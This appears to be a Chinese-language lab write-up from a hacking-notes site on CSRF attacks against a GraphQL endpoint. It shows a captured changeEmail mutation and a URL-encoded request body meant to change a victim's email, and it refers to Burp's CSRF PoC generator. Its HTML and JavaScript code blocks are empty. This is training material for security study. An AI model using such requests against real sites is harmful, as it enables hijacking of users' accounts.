> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/graphql/csrf-exploitation-via-graphql.md).
# 通过 GraphQL 实现 CSRF 利用
### 在 GraphQL 上执行 CSRF 利用
#### 实验上下文
用户管理功能基于一个 **GraphQL** 端点。/ 关键点：l
**目标：** 创建一个 HTML 页面（托管在利用服务器上），当受害者加载时， **更改其电子邮件地址**.
#### 观察到的 GraphQL 查询
当你在应用程序中更改电子邮件时，发送的请求如下所示
```json
{
"query": "/n mutation changeEmail($input: ChangeEmailInput!) {/n changeEmail(input: $input) {/n email/n }/n }/n",
"operationName": "changeEmail",
"variables": {
"input": {
"email": "test@test.com"
}
}
}
```
### 方法 1：使用表单的简单 CSRF（推荐）
其思路是通过一个 **表单 POST** 到 GraphQL 端点，并带上 `query`, `operationName` 和 `variables` 字段。
要提交的操作示例：
```javascript
```
预期结果：当受害者打开该页面时，其浏览器会发送请求，并且 **电子邮件会被更改**.
### 方法 2：X-www-form-urlencoded
这里，你像传统表单一样直接对参数进行编码：
```bash
Content-Type: application/x-www-form-urlencoded
```
{% code overflow="wrap" %}
```bash
query=%0A++++mutation+changeEmail($input:+ChangeEmailInput!)+{%0A++++++++changeEmail(input:$input)+{%0A++++++++++++email%0A++++++++}%0A++++}%0A&operationName=changeEmail&variables={"input":{"email":"test@test.com"}}
```
{% endcode %}
便于快速查看请求的样子。
在 Burp 中：
1. 右键单击 GraphQL 请求
2. **参与工具** → **生成 CSRF PoC**
3. Burp 会生成一个可直接托管的 HTML，例如：
```html
```
---
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